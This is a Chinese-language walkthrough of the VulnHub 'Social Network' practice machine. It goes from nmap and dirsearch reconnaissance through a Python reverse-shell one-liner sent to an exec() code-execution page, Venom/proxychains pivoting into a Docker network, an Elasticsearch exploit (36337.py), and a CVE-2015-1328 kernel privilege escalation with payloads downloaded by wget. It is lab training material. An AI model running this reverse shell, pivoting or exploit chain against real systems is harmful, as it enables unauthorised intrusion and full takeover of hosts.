靶机下载地址
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
打靶过程
由于靶机和我的Kali都处于同一个网段,所以使用arpscan二次发现技术来识别目标主机的IP地址
json
arpscan -l
除了192.168.174.133,其他IP都是我VMware虚拟机正常运行会使用到的IP
那么拿到IP之后,对IP进行全端口的扫描,看看有哪些端口开起了,有哪些服务存在
json
nmap -p- 192.168.174.133
再进行一下服务版本的探测
json
nmap -p22,5000 -sV 192.168.174.133
在 nmap 中,-sV 参数是用来进行服务版本检测的。当你使用 -sV 参数扫描目标主机时,nmap 会尝试探测主机上运行的各种服务及其版本信息。这对于识别目标系统中运行的具体服务版本是非常有用的,可以帮助确定是否存在已知的漏洞或安全问题。
使用 -sV 的主要功能和工作原理:
- 服务版本检测 :
- nmap 使用 -sV 参数时,会发送特定的探测请求到目标主机的开放端口,通过分析目标主机对请求的响应来判断具体的服务及其版本信息。
- 精准信息 :
- 相比于仅仅检测端口是否开放(使用 -sS 或 -sT 等参数进行端口扫描),-sV 参数能够提供更详细和精准的信息,包括服务的具体版本号。
- 识别漏洞 :
- 通过得知具体的服务版本号,可以帮助安全专家或管理员快速判断服务是否存在已知漏洞或安全问题,进而采取相应的安全措施或修复措施。
- 使用示例 :
- 基本用法:nmap -sV
- 指定端口范围:nmap -sV -p
- 针对多个目标:nmap -sV ...
- 注意事项 :
- -sV 参数会增加扫描时间和网络流量,因为它需要发送多个探测请求并等待响应。对于大型网络或复杂的目标系统,可能需要更多时间来完成扫描。
- 某些防火墙或入侵检测系统可能会检测到 nmap 的服务版本检测行为,并采取防御措施。
总之,-sV 参数使得 nmap 在扫描过程中可以提供更多有关目标主机上服务的详细信息,有助于评估系统的安全性和配置状态。
发现Ubantu和python
既然是Http服务,那么我们就访问一个Web界面
没有发现有注入点,那么我们尝试一下目录扫描
json
dirsearch -u "http://192.168.174.133:5000/"
发现了后台地址,发现可以进行代码执行,放到exec()函数中执行的
那么我们可以进行一个反弹shell,利用python
先在kali中监听端口
json
nc -lvvnp 6666
然后在网站中执行反弹shell的代码
json
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
成功反弹shell
但是发现可能是在docker容器里面的,因为有Dockerfile文件存在。
如果还不确定是否是docker容器,有两个方法
1、查看根目录下是否存在 .dockerenv 这个文件
json
ls /.dockerenv
如果存在 .dockerenv 这个文件,那么90%说明这就是docker系统
2、查看 /proc/1/cgroup
json
cat /proc/1/cgroup
如果出现这些内容,那么100%是一个docker容器
因为Linux系统启动之后,1这个PID就代表着这个系统上的初始化进程的ID,当初始化ID的cgroup文件包含着明确的docker镜像主机的这些信息的话,那就100%是一个docker容器
那么先查看一下当前的docker的IP地址
json
172.17.0.3/16
那我们把docker当成内网,然后把内网网段的每一个IP都ping一遍,看看有没有回包
用一个脚本来测试
json
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
这段代码是一个简单的 Bash 脚本,用于循环执行 ping 命令,以便对一组 IP 地址进行测试。让我们逐步解释这段代码的每个部分:
-
for 循环:
bashfor i in $(seq 1 10);
- for i in ... 表示开始一个循环,其中 i 是循环变量。
- ( s e q 110 ) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq 1 10) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq110)是一个命令替换,它生成从1到10的整数序列。因此,i 将会依次取值 1 到 10。
-
ping 命令:
bashping -c 1 172.17.0.$i;
- ping 命令用于向指定的主机发送 ICMP 回显请求,以测试主机的可达性和响应时间。
- -c 1 参数表示发送一个 ICMP 请求,即每个主机只发送一个请求。
- 172.17.0.$i 是一个带有变量的 IP 地址,其中 $i 是 for 循环中的当前值,用来替换为具体的 IP 地址,如 172.17.0.1 到 172.17.0.10。
- 循环体 :
- 整个 for 循环的主体是 ping -c 1 172.17.0.$i;,这意味着会对序列中的每个 IP 地址执行一次 ping 操作。
执行过程:
- 当脚本执行时,$i 会依次取值 1 到 10。
- 对于每个循环迭代,ping 命令会发送一个 ICMP 请求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
- 如果目标主机响应,则输出显示主机的响应时间和状态信息;如果没有响应,则显示主机不可达或超时的信息。
注意事项:
- 权限:执行 ping 命令通常需要足够的权限,通常是 root 或者具有相应网络权限的用户。
- 网络设置:确保你的网络设置允许 ICMP 请求,否则 ping 命令可能无法正常工作。
- 循环范围:代码中使用的 IP 地址范围和具体地址可能会根据实际情况和网络配置而变化。
这段代码适合于快速测试一组 IP 地址是否可达,并获得它们的基本网络信息。
发现三个IP回包了
接下来要使用内网穿透技术,把我的Kali到它内网的这个路由给打通
推荐使用Venom v1.1.0,下载地址https://github.com/Dliv3/Venom/releases
下载后放到Kali中解压
我们现在要做的是把客户端程序,先传输拷贝到目标系统上,然后再通过Kali
上的服务器端程序,在他们之间建立一条隧道
那么现在Kali中开启服务端,监听9999端口,等待容器系统和我的Kali建立反弹的连接
然后目标服务器需要下载我的客户端程序
我先通过python开启一个http服务,然后让目标服务器直接通过Wegt来下载客户端程序
python3 -m http.server 80
然后再目标服务器上执行命令
wget http://192.168.174.128/agent_linux_x64
chmod +x agent_linux_x64 //赋予执行权限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999 // 连接Kali
Kali发现了一个已连接的节点
goto 1
socks 1080 //启动socks代理
为了让Kali上的所用工具都可以通过代理去扫描内网的所有网段的话,那必须使用另外一个工具 proxychains4 ,可以挂载我们当前的代理
vim /etc/proxychains4.conf
Nmap扫描一下端口,当然前提是要挂上proxychains
proxychains nmap -Pn -sT 172.17.0.1
- -Pn 参数 :
- -Pn 参数告诉 nmap 不要进行主机发现(即不要进行Ping测试),而是假设目标主机是活跃的。这是一种绕过目标主机可能配置的防火墙或过滤规则的方法,因为有些网络设备会屏蔽 Ping 请求。
- -sT 参数 :
- -sT 参数指定了使用 TCP 连接扫描(也称为全连接扫描)。在 TCP 连接扫描中,nmap 会尝试建立一个完全的 TCP 连接,以判断目标端口的状态(开放、关闭、过滤)。
再看一下版本
proxychains nmap -Pn -sT -sV 172.17.0.1
proxychains 是一个工具,它允许用户将其他命令通过代理服务器执行,而不是直接连接到目标主机。
- proxychains 是一个用于代理网络连接的工具。它能够劫持其他命令的网络连接,将其通过配置好的代理服务器转发出去,从而达到隐藏真实 IP 地址或绕过网络防火墙的目的。
发现就是我们原来的那台,只不过172.17.0.1是面向内网容器的IP
那么我们再扫描一下172.17.0.2这个IP
proxychains nmap -Pn -sT -sV 172.17.0.2
发现是Elasticsearch,我们可以利用一下漏洞
searchsploit Elasticsearch
那我们把漏洞利用代码复制到当前目录上查看一下
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
发现是Python2的
提示需要加上 target 参数
proxychains python2 36337.py 172.17.0.2
SSH登录
proxychains ssh john@172.17.0.1
看一下内核
searchsploit Linux 3.13.0 Ubuntu
看一下可利用的漏洞
先弄下来看看代码
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
发现需要gcc来编译,但是目标靶机上面没有gcc
locate ofs-lib.so
然后我们直接在Kali什么编译好之后再发过去,然后将这段代码给注释掉
gcc -o exp 37292.c
有报错但是不影响
然后把ofs-lib.so文件也拷贝过来
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
开启Http服务
python3 -m http.server 80
john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so
下载完成后将他们放到/tmp临时目录下,这个目录权限大一点
前面也有说在/tmp目录下调用,这样可以减少报错
mv * /tmp
chmod +x exp
./exp
获得root权限!
总结
- 先进行主机发现,然后针对发现的主机进行端口扫描以及服务的扫描
- 扫描完之后发现靶机在5000端口的一个Web应用,尝试访问Web应用
- 在Web应用下,我们未获得已知漏洞
- 通过dirsearch在5000端口发现了后台路径
- 在后台地址发现了远程代码执行漏洞,利用这个漏洞,获取到了一个目标系统的反弹shell
- 获得shell之后,发现自己被困在一个docker的容器系统里面,基于容器系统,对内网的IP地址段进行发现
- 识别除了两个内网主机中的IP地址,一个是172.17.0.1,一个是172.17.0.2
- 然后挂上代理进行内网穿透,对这两个地址进行了全端口的扫描,在扫描过程中发现0.2地址上面开启了9200端口
- 而9200端口是Elasticsearch默认的服务监听端口,所以尝试对Elasticsearch进行漏洞的利用和攻击,结果成功拿下了172.17.0.2这台主机
- 在这台主机里继续进行信息收集,我们发现了一个password的文件,在里面收获了john这个账号的密码,密码是需要进行破解的
- 拿到账号密码之后尝试对内网所有开启22端口的主机进行登录,最终成功登录目标的靶机系统
- 登录后没有root权限,需要进行本地提权
- 发现是比较老的操作系统,内核版本比较老,所以使用针对内核漏洞进行提权的代码
- 但是漏洞利用代码又没有办法在目标系统上进行GCC的编译,所以不得不修改代码重新编译
- 把编译之后的漏洞利用代码和二进制的库文件一起传输到目标服务器上
- 最终在目标服务器上成功利用漏洞进行本地提权,拿到root权限